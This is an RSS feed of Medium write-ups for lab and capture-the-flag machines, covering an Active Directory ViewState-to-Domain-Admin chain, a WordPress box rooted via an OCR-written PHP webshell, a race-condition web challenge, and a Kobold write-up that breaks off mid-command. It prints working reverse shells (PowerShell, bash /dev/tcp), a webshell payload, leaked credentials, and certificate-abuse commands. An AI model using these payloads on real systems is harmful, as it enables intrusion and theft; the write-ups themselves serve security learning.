<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by M3H47D1 on Medium]]></title>
        <description><![CDATA[Stories by M3H47D1 on Medium]]></description>
        <link>https://medium.com/@M3h4ydii?source=rss-6bd75260156e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*SDn35_PMaPQyEKq0LfS1LA.jpeg</url>
            <title>Stories by M3H47D1 on Medium</title>
            <link>https://medium.com/@M3h4ydii?source=rss-6bd75260156e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 19:09:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@M3h4ydii/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Rubberstamp — From a Backup File to Domain Admin]]></title>
            <link>https://medium.com/@M3h4ydii/rubberstamp-from-a-backup-file-to-domain-admin-e62957807841?source=rss-6bd75260156e------2</link>
            <guid isPermaLink="false">https://medium.com/p/e62957807841</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[M3H47D1]]></dc:creator>
            <pubDate>Tue, 10 Nov 2026 16:04:44 GMT</pubDate>
            <atom:updated>2026-11-10T16:04:44.055Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A chain of seemingly minor web flaws that led to a full Active Directory takeover.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KhmWY7ZfwNYlDFPkmUGZNA.png" /></figure><h3>Overview</h3><p>Rubberstamp is a Windows Active Directory machine that challenges you to pivot from a small information disclosure vulnerability on a legacy ASP.NET web application all the way to Domain Admin. No single step is catastrophic alone — the magic is in chaining them together.</p><p><strong>Target:</strong> 10.80.169.60 (SRV01.rubberstamp.local)<br> <strong>Domain:</strong> rubberstamp.local<br> <strong>OS:</strong> Windows Server 2019<br> <strong>Flags:</strong> User + Root</p><h3>Reconnaissance</h3><p>Starting with a full port scan to map the attack surface:</p><pre>sudo nmap -sS -sCV -p- 10.80.169.60 -Pn --min-rate 1000</pre><p>Key findings:</p><ul><li><strong>80/tcp</strong> — Microsoft IIS 10.0 (ASP.NET MVC 5.2, .NET 4.0.30319)</li><li><strong>445/tcp</strong> — SMB 2.1 (NetBIOS: SRV01, Domain: RUBBERSTAMP)</li><li><strong>389/tcp</strong> — LDAP</li><li><strong>3389/tcp</strong> — RDP</li><li><strong>88/tcp</strong> — Kerberos → confirms Domain Controller role</li></ul><p>Running nuclei for quick fingerprinting revealed something immediately interesting:</p><pre>[aspx-debug-mode] [medium] http://10.80.169.60/Foobar-debug.aspx<br>[iis-shortname-detect] [info] http://10.80.169.60/*~1*/a.aspx<br>[smb-enum] [info] DNSComputerName: SRV01.rubberstamp.local<br>[ldap-metadata] [info] DomainFunctionality: 7 — ForestName: rubberstamp.local</pre><p>Crawling the application with katana exposed the interesting endpoint:</p><pre>http://10.80.169.60/legacy/RequestStatus.aspx</pre><p>The /legacy/ path alone is a red flag — legacy code is rarely maintained and almost never secure.</p><h3>Web Application Enumeration</h3><h4>Parameter Discovery</h4><p>Fuzzing parameters on the legacy endpoint:</p><pre>ffuf -u &quot;http://10.80.169.60/legacy/RequestStatus.aspx?FUZZ=1&quot; \<br>  -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt \<br>  -fs 164 -fw 6</pre><p>Result: id, Id, ID all returned different responses (1265 bytes vs the default 164 bytes).</p><p>The page loaded database records:</p><pre>id=1  → REQ-1 | approved<br>id=2  → REQ-2 | approved</pre><h4>SQL Injection Probe</h4><p>Injecting a single quote:</p><pre>curl &quot;http://10.80.169.60/legacy/RequestStatus.aspx?id=&#39;&quot;</pre><p>The server returned a 302 → /Error?aspxerrorpath=/legacy/RequestStatus.aspx. Classic sign of a broken SQL query — <strong>SQLi confirmed in principle</strong>, but the dynamic __VIEWSTATE and an ASP.NET generic WAF were making automated tools like sqlmap unreliable here.</p><h4>Finding the Real Entry Point — The Backup File</h4><p>Feroxbuster enumeration on the web root uncovered a critical file:</p><pre>http://10.80.169.60/global.asax.bak</pre><p>Global.asax is ASP.NET’s application-level event handler (similar to index.php for routing/startup). Someone left a <strong>backup copy publicly readable</strong>. Its content was explosive:</p><pre>void Application_Error(object sender, EventArgs e)<br>{<br>    if (!context.Request.Path.StartsWith(&quot;/legacy/&quot;, ...)) return;<br>    if (context.Request.QueryString[&quot;debug&quot;] != &quot;true&quot;) return;<br><br>    var ex = context.Server.GetLastError();<br>    var mk = (MachineKeySection)ConfigurationManager<br>                .GetSection(&quot;system.web/machineKey&quot;);<br><br>    context.Response.Write(&quot;&lt;pre&gt;&quot; + ex.ToString() +<br>        &quot;\n\nvalidationKey=&quot; + mk.ValidationKey +<br>        &quot;\ndecryptionKey=&quot; + mk.DecryptionKey +<br>        &quot;\nvalidation=&quot; + mk.Validation + &quot;&lt;/pre&gt;&quot;);<br>}</pre><p>This custom error handler was designed for debugging, but left in production. It would print the full machineKey to anyone who triggered an error on a /legacy/ path with ?debug=true in the query string.</p><h3>Leaking the MachineKey</h3><p>The exploit is straightforward — trigger an error on the legacy page with the debug flag:</p><pre>curl &quot;http://10.80.169.60/legacy/RequestStatus.aspx?id=&#39;&amp;debug=true&quot;</pre><p>The &#39; breaks the SQL query, which triggers an unhandled exception, which triggers Application_Error, which dumps the keys:</p><pre>System.FormatException: Input string was not in a correct format.<br>   at System.Number.ParseInt32(...)<br>   at Legacy_RequestStatus.Page_Load(...)<br><br>validationKey=D7D2FA8B5C1E4A9F3B6C8D0E2F4A6B8C1D3E5F7A9B1C3D5E7F9A1B3C5D7E9F1A<br>decryptionKey=A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6E7F8A9B0C1D2E3F4<br>validation=SHA1</pre><p><strong>Why does this matter?</strong></p><p>The ASP.NET machineKey is used to cryptographically sign and encrypt the __VIEWSTATE — the hidden field that stores the page’s client-side state between requests. If you have the key, you can forge a __VIEWSTATE containing a malicious serialized .NET object. When the server deserializes it, your code executes. This is classic <strong>insecure deserialization → RCE</strong>.</p><h3>Forging a Malicious ViewState → RCE</h3><h4>The Challenge: SP800–108 Key Derivation</h4><p>ASP.NET 4.5+ doesn’t sign ViewState directly with the raw machineKey. It first derives a page-specific subkey using <strong>SP800-108 CTR KDF</strong> with a “purpose string” that includes the page’s virtual path. This means tools like viewgen or naive Python HMAC implementations produce incorrect MACs — the server rejects them with Validation of viewstate MAC failed.</p><p>The correct approach uses badsecrets, a Python library that faithfully reimplements .NET’s key derivation:</p><pre>from badsecrets.base import carve_all_modules<br><br># SP800-108 derives page-specific keys<br>lbl, ctx = sp800_108_get_key_derivation_parameters(<br>    &quot;WebForms.HiddenFieldPageStatePersister.ClientState&quot;,<br>    [&quot;TemplateSourceDirectory: /LEGACY&quot;,<br>     &quot;Type: LEGACY_REQUESTSTATUS_ASPX&quot;])<br><br>dekey = sp800_108_derivekey(EKEY, lbl, ctx, len(EKEY)*8)<br>dvkey = sp800_108_derivekey(VKEY, lbl, ctx, len(VKEY)*8)</pre><h4>Building the Payload</h4><p>The exploit chain:</p><ol><li>Generate a serialized SortedSet&lt;string&gt; gadget chain via ysoserial.net (TypeConfuseDelegate → System.Diagnostics.Process.Start)</li><li>Patch the command bytes in the serialized payload (recalculating VLQ length prefixes used by BinaryFormatter)</li><li>Encrypt with AES-CBC using the derived key dekey, prefixing a random IV</li><li>Sign with HMAC-SHA1 over IV + ciphertext using dvkey</li><li>Base64-encode → send as __VIEWSTATE</li></ol><h4>Confirming RCE</h4><p>A quick callback test confirmed code execution:</p><pre># Server-side: our payload ran<br># 10.80.169.60 → &quot;GET /callback HTTP/1.1&quot; 404 -</pre><p>The debug trace on a first attempt revealed this beautiful error:</p><pre>System.InvalidCastException: Unable to cast object of type<br>&#39;System.Collections.Generic.SortedSet`1[System.String]&#39; to type<br>&#39;System.Web.UI.Pair&#39;.</pre><p>This is the <strong>signature of a successful TypeConfuseDelegate gadget chain</strong> — the malicious delegate fires during deserialization <em>before</em> the framework tries to cast the result to Pair. The command already ran when this exception was thrown.</p><h4>Getting a Shell</h4><pre># Listener<br>rlwrap nc -lvnp 4444</pre><pre>powershell -nop -w hidden -c &quot;$c=New-Object Net.Sockets.TCPClient(&#39;&lt;ATTACKER_IP&gt;&#39;,4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2&gt;&amp;1|Out-String);$rb=[Text.Encoding]::ASCII.GetBytes($r);$s.Write($rb,0,$rb.Length)}&quot;</pre><p>Sending the forged ViewState got me a connection:</p><pre>whoami<br>rubberstamp\svc-iisweb</pre><p><strong>User flag</strong> found in C:\Users\Public\user.txt:</p><pre>Go find it yourself </pre><p>A quick whoami /priv check showed no usable impersonation privileges (no SeImpersonatePrivilege), ruling out the classic Potato-family exploits for local privesc.</p><p>5. Pivoting into Active Directory Certificate Services (AD CS)</p><h3>5.1 The Tell</h3><p>whoami /groups revealed membership in:</p><pre>BUILTIN\Certificate Service DCOM Access     S-1-5-32-574</pre><p>This group only exists when an <strong>AD CS</strong> role is present somewhere in the domain. A quick certutil confirmed it:</p><pre>CA Name: rubberstamp-SRV01-CA<br>Machine Name: SRV01.rubberstamp.local<br>Enterprise Root CA</pre><p>SRV01 turned out to be both the <strong>Domain Controller</strong> and the <strong>Certificate Authority</strong> — a convenient (for me) single point of failure.</p><h3>5.2 Exporting a Usable Kerberos Ticket</h3><p>To run certipy from my Linux attack box instead of digging through Windows-native AD CS tooling, I needed a usable Kerberos ticket for svc-iisweb — without knowing its password.</p><p><strong>First attempt (failed):</strong></p><pre>Rubeus.exe dump /service:krbtgt /nowrap</pre><p>This returned a ticket with an all-zero session key (AAAA...=), which is useless: the TGS-REQ needs the real session key to encrypt the Authenticator, so anything built from this ticket gets rejected.</p><p><strong>The correct technique:</strong> tgtdeleg, which abuses a fake Kerberos delegation (via SSPI) to extract a usable TGT <strong>with its real session key</strong>, without requiring elevated privileges:</p><pre>Rubeus.exe tgtdeleg /nowrap</pre><p>5.3 Importing the Ticket on Linux</p><pre>echo &quot;&lt;base64&gt;&quot; | base64 -d &gt; svc-iisweb.kirbi<br>ticketConverter.py svc-iisweb.kirbi svc-iisweb.ccache<br>export KRB5CCNAME=$(pwd)/svc-iisweb.ccache<br>klist   # confirms a valid TGT</pre><p>5.4 Enumerating with Certipy</p><pre>certipy find -k -no-pass \<br>  -u svc-iisweb@rubberstamp.local \<br>  -dc-ip 10.80.169.60 \<br>  -target srv01.rubberstamp.local \<br>  -vulnerable</pre><p><strong>Gotcha:</strong> -target expects the DC&#39;s <strong>hostname</strong> (used to build the ldap/srv01.rubberstamp.local SPN), not the domain name. Using -target rubberstamp.local initially caused an LDAP invalidCredentials bind error even with a perfectly valid ticket.</p><p>Result:</p><pre>Template Name              : PrivClientAuth<br>Enrollee Supplies Subject  : True<br>Client Authentication      : True<br>[+] User Enrollable Principals : RUBBERSTAMP.LOCAL\Domain Users<br>[!] Vulnerabilities<br>    ESC1 : Enrollee supplies subject and template allows client authentication.</pre><p>(The CA also showed <strong>ESC8</strong> — HTTP Web Enrollment enabled — but ESC1 was the more direct path here.)</p><h3>6. Exploiting ESC1 → Domain Admin</h3><p>The PrivClientAuth template let any domain user (Domain Users, which includes svc-iisweb) do two dangerous things at once:</p><ul><li>supply their <strong>own subject/SAN</strong> when requesting a certificate (EnrolleeSuppliesSubject)</li><li>get a certificate valid for <strong>client authentication</strong></li></ul><p>That combination is the definition of <strong>ESC1</strong>: I can request a certificate claiming to be anyone, including a Domain Admin.</p><h3>6.1 Requesting a Certificate Impersonating the Administrator</h3><pre>certipy req -k -no-pass \<br>  -u svc-iisweb@rubberstamp.local \<br>  -dc-ip 10.80.169.60 \<br>  -dc-host srv01.rubberstamp.local \<br>  -target srv01.rubberstamp.local \<br>  -ca rubberstamp-SRV01-CA \<br>  -template PrivClientAuth \<br>  -upn administrator@rubberstamp.local</pre><p>This produced administrator.pfx.</p><p>6.2 Exchanging the Certificate for an NTLM Hash (PKINIT)</p><pre>certipy auth \<br>  -pfx administrator.pfx \<br>  -dc-ip 10.80.169.60 \<br>  -username administrator \<br>  -domain rubberstamp.local</pre><p>Result:</p><pre>Got hash for &#39;administrator@rubberstamp.local&#39;:<br>aad3b435b51404eeaad3b435b51404ee:&lt;REDACTED&gt;</pre><p>6.3 Pass-the-Hash</p><pre>evil-winrm -i 10.80.169.60 -u administrator -H &lt;REDACTED&gt;</pre><p>Full Administrator access on the Domain Controller.</p><p><strong>Root flag</strong> in C:\Users\Administrator\Desktop\root.txt:</p><pre>Go find it yourself</pre><p><em>Happy hacking.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e62957807841" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MakeSense — HackTheBox Writeup (Season 11)]]></title>
            <link>https://medium.com/@M3h4ydii/makesense-hackthebox-writeup-season-11-f575048e476e?source=rss-6bd75260156e------2</link>
            <guid isPermaLink="false">https://medium.com/p/f575048e476e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[M3H47D1]]></dc:creator>
            <pubDate>Wed, 28 Oct 2026 14:46:10 GMT</pubDate>
            <atom:updated>2026-10-28T14:46:10.774Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Machine:</strong> makesense.htb · <strong>OS:</strong> Linux · <strong>Difficulty:</strong> Medium</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*FwHVt_1Xc9N6jxPom_cutg.png" /></figure><h3>Summary</h3><p>This box chains a straightforward WordPress RCE with credential reuse for lateral movement, and finishes with a creative privilege escalation: a locally-bound internal OCR service that blindly trusts its Tesseract output, allowing a PHP webshell to be written and executed with root privileges.</p><h3>1. Reconnaissance</h3><p>Initial enumeration of the web service (makesense.htb) revealed a WordPress installation vulnerable to remote command execution via a cmd parameter exposed by a misconfigured plugin/feature.</p><pre>curl -sk &quot;https://makesense.htb/&quot; -b hacker_cookies2.txt \<br>  -G --data-urlencode &#39;cmd=id&#39;</pre><p>Result:</p><pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre><p>Command execution confirmed as www-data.</p><h3>2. Foothold — Reverse Shell</h3><h3>Troubleshooting</h3><p>Several standard reverse shell attempts (bash, netcat, Python with nested quotes) failed silently. Diagnosis revealed two separate issues:</p><ol><li><strong>Broken quote escaping</strong> — commands sent via the server’s system() call were being interpreted by /bin/sh (dash), not bash. Nested quotes triggered a Bad fd number error, since dash doesn&#39;t support /dev/tcp/... syntax.</li><li><strong>Blocking process</strong> — without explicit backgrounding (&amp;), the web server killed the child process before the reverse shell connection could establish.</li></ol><h3>Working solution</h3><p>Base64-encoding the payload avoided all escaping issues, then decoding and executing it explicitly via bash:</p><pre>PAYLOAD=&#39;bash -i &gt;&amp; /dev/tcp/10.10.16.229/4444 0&gt;&amp;1&#39;<br>echo -n &quot;$PAYLOAD&quot; | base64 -w0</pre><p>Sending the encoded payload:</p><pre>curl -sk &quot;https://makesense.htb/&quot; -b hacker_cookies2.txt \<br>  -G --data-urlencode \<br>  &#39;cmd=echo &lt;BASE64_PAYLOAD&gt; | base64 -d | bash&#39;</pre><p>Listener on the attacker side:</p><pre>nc -lvnp 4444</pre><p><strong>Result:</strong> connection received, interactive shell obtained as www-data in /var/www/html (confirmed WordPress install).</p><h3>3. Post-Exploitation Enumeration</h3><h3>WordPress database credentials</h3><p>Reading wp-config.php revealed credentials reused for a local system account:</p><pre>define( &#39;DB_USER&#39;, &#39;walter&#39; );<br>define( &#39;DB_PASSWORD&#39;, &#39;JbhHDAEgXvri3!&#39; );</pre><h3>Lateral movement — SSH</h3><p>The discovered credentials worked for a direct SSH login:</p><pre>ssh walter@makesense.htb</pre><p>Access confirmed, user flag retrieved:</p><pre>cat user.txt</pre><h3>4. Privilege Escalation</h3><h3>Standard vector enumeration</h3><p>The usual checks came up empty:</p><ul><li>sudo -l → no sudo rights for walter</li><li>getcap -r / → nothing exploitable</li><li>SUID binaries → nothing abnormal</li></ul><p>Process listing, however, revealed an internal PHP service running as <strong>root</strong>:</p><pre>root  1315  /bin/sh -c /root/.scripts/start_ocr4.sh<br>root  1317  /bin/bash /root/.scripts/start_ocr4.sh<br>root  1368  php -S 127.0.0.1:8001 -t /root/ocr4/</pre><p>This service, named <strong>MakeSense</strong>, is a local web app (not externally exposed) that lets you draw text on an HTML5 canvas and get it recognized via <strong>Tesseract OCR</strong>, with a feature to save the result to a file.</p><h3>Accessing the internal service</h3><p>Since the service was bound to 127.0.0.1:8001, an SSH tunnel provided access from the attacking machine:</p><pre>ssh -L 8001:127.0.0.1:8001 walter@makesense.htb</pre><p>The service’s HTTP Basic Auth accepted the same credentials as walter (password reuse again).</p><h3>Understanding the application flow</h3><ol><li>The user draws a word on a &lt;canvas&gt;.</li><li>The canvas is exported as a PNG (base64 data URL) and sent via POST in the canvas_image parameter.</li><li>The server runs Tesseract on the image and returns the recognized text, along with a unique ocr_id.</li><li>A second form lets you save that text to a file, via the ocr_id, filename, and save_output parameters.</li></ol><h3>Path traversal attempt</h3><p>A first classic traversal attempt on the filename parameter failed: the server clearly applies a systematic basename(), keeping only the final filename regardless of the path supplied.</p><pre>filename=../../../../tmp/traversal_test.txt<br>=&gt; Saved as: saved/traversal_test.txt<br><br>filename=/tmp/abs_test.txt<br>=&gt; Saved as: saved/abs_test.txt</pre><p><strong>Takeaway:</strong> the write location can’t be controlled, but the file <strong>name</strong> and <strong>extension</strong> are completely unrestricted — notably .php is not filtered.</p><pre>filename=test.php<br>=&gt; Saved as: saved/test.php</pre><p>Confirming that this directory is served by the PHP built-in server and therefore executed as code:</p><pre>curl -s -u walter:&#39;&lt;password&gt;&#39; http://127.0.0.1:8001/saved/test.php<br>TEST</pre><p>The content (raw OCR text, no PHP tags) is returned as-is — confirming the file is indeed interpreted by PHP, just with no &lt;?php ?&gt; tags present in this first test.</p><h3>Exploitation vector</h3><p>Since the write location couldn’t be hijacked, the idea was to hijack the <strong>content</strong> instead by controlling what Tesseract recognizes: instead of drawing by hand, a PNG image was generated locally containing <strong>PHP code</strong> in a standard font — far more reliable for OCR than a hand-drawn trace.</p><pre>convert -size 700x150 xc:white -pointsize 28 -fill black \<br>  -gravity center -annotate +0+0 \<br>  &#39;&lt;?php system($_GET[&quot;c&quot;]); ?&gt;&#39; /tmp/payload.png</pre><p>Sending the image to the OCR service:</p><pre>B64=$(base64 -w0 /tmp/payload.png)<br>curl -s -c cookies.txt -b cookies.txt -X POST \<br>  &quot;http://127.0.0.1:8001/&quot; -u walter:&#39;&lt;password&gt;&#39; \<br>  --data-urlencode &quot;canvas_image=data:image/png;base64,$B64&quot; \<br>  -o result.html</pre><p>Tesseract recognized the text with perfect accuracy:</p><pre>&lt;?php system($_GET[&quot;c&quot;]); ?&gt;</pre><p><em>Technical note:</em> the ocr_id parameter is tied to the PHP session (PHPSESSID cookie) and is single-use. A cookie jar must be preserved between the recognition request and the save request (-c/-b with curl).</p><h3>Writing the webshell</h3><p>Grabbing the ocr_id and saving the result as a PHP file:</p><pre>OCR_ID=$(grep -oP &#39;(?&lt;=name=&quot;ocr_id&quot; value=&quot;).*?(?=&quot;)&#39; result.html)<br><br>curl -s -c cookies.txt -b cookies.txt -X POST \<br>  &quot;http://127.0.0.1:8001/&quot; -u walter:&#39;&lt;password&gt;&#39; \<br>  --data-urlencode &quot;ocr_id=$OCR_ID&quot; \<br>  --data-urlencode &quot;filename=shell.php&quot; \<br>  --data-urlencode &quot;save_output=&quot; \<br>  -o save_result.html</pre><p><strong>Result:</strong> Saved as: saved/shell.php</p><p>Root code execution</p><pre>curl -s -c cookies.txt -b cookies.txt -u walter:&#39;&lt;password&gt;&#39; \<br>  &quot;http://127.0.0.1:8001/saved/shell.php?c=id&quot;</pre><p>Result:</p><pre>uid=0(root) gid=0(root) groups=0(root)</pre><p>Since the internal PHP service (php -S 127.0.0.1:8001 -t /root/ocr4/) runs with root privileges, the webshell inherits those same privileges.</p><p>Root reverse shell</p><p>A full reverse shell was then obtained through the webshell:</p><pre>curl -s -c cookies.txt -b cookies.txt -u walter:&#39;&lt;password&gt;&#39; \<br>  &quot;http://127.0.0.1:8001/saved/shell.php&quot; -G \<br>  --data-urlencode \<br>  &quot;c=bash -c &#39;bash -i &gt;&amp; /dev/tcp/10.10.16.229/4445 0&gt;&amp;1&#39; &amp;&quot;</pre><p>Listener:</p><pre>nc -lvnp 4445</pre><p><strong>Result:</strong></p><pre>root@makesense:~# whoami<br>root<br>root@makesense:~# cat root.txt</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f575048e476e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Towel on the Sunbed -TryHackMe | HackerHolidays 2026]]></title>
            <link>https://medium.com/@M3h4ydii/towel-on-the-sunbed-tryhackme-hackerholidays-2026-095267e823d1?source=rss-6bd75260156e------2</link>
            <guid isPermaLink="false">https://medium.com/p/095267e823d1</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[M3H47D1]]></dc:creator>
            <pubDate>Mon, 03 Aug 2026 20:35:01 GMT</pubDate>
            <atom:updated>2026-08-03T20:35:01.623Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Difficulty:</strong> Medium <strong>Category:</strong> Web</p><h3>Recon</h3><p>First I do a scan nmap as always to find open ports:</p><pre>sudo nmap -sS -p- 10.130.140.230 --open</pre><pre>PORT     STATE SERVICE<br>22/tcp   open  ssh<br>3000/tcp open  ppp</pre><p>Followed up with a service/version scan on the two open ports:</p><pre>nmap -sCV -p 22,3000 10.130.140.230</pre><pre>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)<br>3000/tcp open  http    Node.js Express framework<br>| http-title: Ponzi Portfolio — Login<br>|_Requested resource was /auth/login</pre><p>I find the port 3000 that run a node.js.</p><h3>Enumeration</h3><p>Directory brute-forced the app to map out what’s behind the login wall:</p><pre>gobuster dir -u http://10.130.140.230:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 65</pre><pre>css                  (Status: 301) [Size: 153] [--&gt; /css/]<br>js                   (Status: 301) [Size: 152] [--&gt; /js/]<br>dashboard            (Status: 401) [Size: 61]<br>vault                (Status: 401) [Size: 61]<br>Dashboard            (Status: 401) [Size: 61]<br>Vault                (Status: 401) [Size: 61]</pre><p>I found an interesting endpoint that make me curious called vault.</p><h3>Account Creation</h3><p>So I decide to visit http://10.130.140.230:3000 that redirect me to a login page so I decide to create an account with my username hanibal and password then I authenticate with my account just created</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r7jsMzeUnS6BB7ib3__mvQ.png" /></figure><p>Therefore I found this on the bottom of page that I have already founded with gobuster (vault):</p><p><strong>Whale Vault</strong> Reach 150 PONZI to unlock the Whale Vault and claim your exclusive reward.</p><p>So I need 150 PONZI to unlock the vault and access the endpoint /vault.</p><p>And also in every login you claim 50 reward PONZI Staking Rewards:</p><p><strong>Staking Rewards</strong> Earn 50 PONZI every 24 hours by claiming your staking reward. Next claim in: 23:46:47</p><p>That mean you must wait 3 days to unlock it.</p><h3>Exploitation</h3><p>So I think that the web app is vulnerable to race conditions.</p><p>Furthermore I intercept with my burp suite when I clicked claim reward and send it to the repeater, in addition I create a group of this requests, then I send it in group (parallel) and after boom! race conditions run successfully that I found in my account 1050 PONZI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7EnN3NF1TT05sgOGofzy3w.png" /></figure><pre>POST /claim HTTP/1.1<br>Host: 10.130.140.230:3000<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0<br>Accept: */*<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Referer: http://10.130.140.230:3000/dashboard<br>Origin: http://10.130.140.230:3000<br>Connection: keep-alive<br>Cookie: connect.sid=s%3AoFCzFQBzfp0EMTvynvbsXqUFUw2RF1O5.GBR3W4V1vZayOZyn1WzMwNLp9CK%2BUIPzJmV751maKtQ<br>Priority: u=0<br>Content-Length: 0</pre><pre>HTTP/1.1 200 OK<br>X-Powered-By: Express<br>Content-Type: application/json; charset=utf-8<br>Content-Length: 115<br>ETag: W/&quot;73-b280y7aXK3KvBz5YiQjZkAQ3Txo&quot;<br>Date: Mon, 03 Aug 2026 20:00:48 GMT<br>Connection: keep-alive<br>Keep-Alive: timeout=5<br><br>{<br>     &quot;message&quot;:&quot;Staking reward claimed successfully.&quot;,<br>     &quot;reward&quot;:50,<br>     &quot;newBalance&quot;:1050,<br>     &quot;tier&quot;:&quot;Whale&quot;,<br>     &quot;priceSnapshot&quot;:4.2<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-NkuschHwMLAwrfDRU927Q.png" /></figure><h3>Flag</h3><p>After this I clicked open vault and retrieved the flag.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=095267e823d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kobold — HackTheBox Writeup]]></title>
            <link>https://medium.com/@M3h4ydii/kobold-hackthebox-writeup-634eef9eff30?source=rss-6bd75260156e------2</link>
            <guid isPermaLink="false">https://medium.com/p/634eef9eff30</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[M3H47D1]]></dc:creator>
            <pubDate>Mon, 03 Aug 2026 13:38:36 GMT</pubDate>
            <atom:updated>2026-08-03T13:38:36.502Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Machine:</strong> kobold.htb · <strong>OS:</strong> Linux (Ubuntu) · <strong>Difficulty:</strong> Easy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*0ET1XvaxBBsD6e8O2sLPSA.png" /></figure><h4><strong>TL;DR :</strong></h4><p>This box revolves around exploiting an unauthenticated MCP (<em>Model Context Protocol</em>) endpoint in <strong>MCPJam Inspector</strong>, which gets us a shell as ben. Privilege escalation is then a classic — but brutally effective — Docker socket abuse, giving full root access on the host.</p><p>Two web services, one unprotected API, and one unsanitized command injection: here’s how Kobold falls.</p><h4><strong>1. Reconnaissance :</strong></h4><h4>Nmap scan :</h4><p>As always, we start with a full port scan:</p><pre>sudo nmap -sS -p- -sCV -Pn 10.129.245.50 --open</pre><p>Results:</p><p>Port State Service</p><p>22/tcp open OpenSSH 9.6p1 (Ubuntu)</p><p>80/tcp open nginx 1.24.0 (Ubuntu)</p><p>443/tcp open nginx 1.24.0 + SSL</p><p>3552/tcp open Arcane Docker Management</p><p><strong><em>The SSL certificate on port 443 is worth a closer look: it shows </em></strong><strong><em>commonName=kobold.htb with a wildcard </em></strong><strong><em>DNS:*.kobold.htb. That&#39;s a strong hint there are subdomains waiting to be found.</em></strong></p><h4>Subdomain enumeration :</h4><p>We run gobuster in vhost mode:</p><pre>gobuster vhost -u https://kobold.htb/ \<br>  -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt \<br>  -t 150 \<br>  --no-tls-validation \<br>  --append-domain \<br>  --exclude-length 166</pre><p>Two subdomains show up quickly:</p><ul><li>mcp.kobold.htb — Status 200, size 466</li><li>bin.kobold.htb — Status 200, size 24402</li></ul><p>We add them to /etc/hosts:</p><pre>echo &quot;10.129.245.50 mcp.kobold.htb bin.kobold.htb&quot; | sudo tee -a /etc/hosts</pre><h3>Mapping the services</h3><p><strong>bin.kobold.htb</strong> hosts a <strong>PrivateBin v2.0.2</strong> instance, a client-side-encrypted pastebin. Without a direct link to a specific paste, there&#39;s nothing to read — the AES-256 encryption/decryption happens entirely in the browser.</p><p><strong>mcp.kobold.htb</strong> serves the <strong>MCPJam Inspector</strong> web UI, a tool for testing MCP (Model Context Protocol) servers. Digging through the JavaScript loaded by the page reveals two key pieces of information:</p><ul><li>The Convex backend: <a href="https://outstanding-fennec-304.convex.cloud/">https://outstanding-fennec-304.convex.cloud</a></li><li>A sensitive endpoint: /api/mcp/connect</li></ul><p><strong>Port 3552</strong> hosts <strong>Arcane</strong>, a Docker management interface whose OpenAPI spec is reachable without any authentication:</p><pre>curl -sk http://kobold.htb:3552/api/app-version | jq<br># =&gt; &quot;currentVersion&quot;: &quot;v1.13.0&quot;<br><br>curl -sk http://kobold.htb:3552/api/environments/0/settings/public | jq<br># =&gt; &quot;dockerHost&quot;: 